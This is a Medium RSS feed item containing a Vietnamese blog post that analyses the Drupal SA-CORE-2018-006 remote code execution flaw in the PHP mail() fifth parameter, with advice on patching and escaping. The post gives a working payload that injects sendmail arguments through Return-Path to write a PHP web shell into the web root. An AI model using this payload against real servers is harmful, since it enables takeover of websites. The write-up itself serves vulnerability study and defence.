<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nguyễn Trung Thiện on Medium]]></title>
        <description><![CDATA[Stories by Nguyễn Trung Thiện on Medium]]></description>
        <link>https://medium.com/@trthien?source=rss-1173da1c5e9c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*56o9ONofZsYaigEO</url>
            <title>Stories by Nguyễn Trung Thiện on Medium</title>
            <link>https://medium.com/@trthien?source=rss-1173da1c5e9c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 20:28:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@trthien/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Drupal Core — SA-CORE-2018–006]]></title>
            <link>https://medium.com/@trthien/drupal-core-sa-core-2018-006-ce81c6804ee9?source=rss-1173da1c5e9c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce81c6804ee9</guid>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Nguyễn Trung Thiện]]></dc:creator>
            <pubDate>Fri, 26 Oct 2018 17:00:17 GMT</pubDate>
            <atom:updated>2018-10-28T16:48:56.837Z</atom:updated>
            <content:encoded><![CDATA[<h3>Drupal Core — SA-CORE-2018–006 (Mail)</h3><p>Theo kinh nghiệm của đàn anh trong trường thì nên viết blog để sau này còn dễ xin việc nên bản thân bắt đầu tập viết blog :D</p><p><strong>I. Phân tích:</strong></p><ul><li>Khi bản vá lỗi ra mắt được vài ngày thì một anh khóa trên kêu mình phân tích thử. Bản vá có 2 phần bị RCE — khá là quan trọng. Một lỗi ở <strong>Contextual Links </strong>và<strong> Mail</strong>. Lỗi ở <strong>Contextual Links </strong>thì bị hạn chế do phải có đặc quyền mới có thể khai thác nên mình tập trung khai thác vào phần còn lại.</li><li>Sau khi tải thử bản chưa vá lỗi và đọc mô tả của bản vá thì mình biết được phần bị lỗi ở <strong>modules/system/system.mail.inc</strong>. Sau một hồi audit thì biết được phần lỗi nằm ở đây:</li></ul><blockquote>if (!isset($_SERVER[‘WINDIR’]) &amp;&amp; strpos($_SERVER[‘SERVER_SOFTWARE’], ‘Win32’) === FALSE) {<br> if (isset($message[‘Return-Path’]) &amp;&amp; !ini_get(‘safe_mode’)) {<br> $mail_result = <a href="http://twitter.com/mail">@mail</a>(<br> $message[‘to’],<br> $mail_subject,<br> $mail_body,<br> $mail_headers,<br> ‘-f’ . $message[‘Return-Path’]<br> );</blockquote><ul><li><em>$message[‘Return-Path’]</em> là tham số thứ 5 có thể thay đổi và không bị ràng buộc bởi điều kiện nào, mà trong hàm mail() của PHP thì tham số thứ 5 này là thứ cực kì nguy hiểm dẫn đến việc bị lỗi RCE. Tìm hiểu thêm tại <a href="https://blog.ripstech.com/2017/why-mail-is-dangerous-in-php/"><strong>đây</strong></a>.</li><li>Payload:</li></ul><blockquote>$message[‘to’]=’abc@xyz.com’; $mail_subject=’&lt;?php system($_GET[“cmd”]); ?&gt;;$mail_body=’xxx’; $mail_header=’’; ‘-f’ . $message[‘Return-Path’]=’-OQueueDirectory=/tmp -X/var/www/html/shell.php’;</blockquote><p><strong>II. Sửa lỗi:</strong></p><ul><li>Đối với những người dùng Drupal thì update lên phiên bản mới nhất</li><li>Nếu không dùng Drupal mà bị lỗi tương tự thì phải khử các kí tự đầu vào của tham số thứ 5 như / . , sử dụng thêm các hàm như escapeshellcmd(), escapeshellarg() để hạn chếshell.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce81c6804ee9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>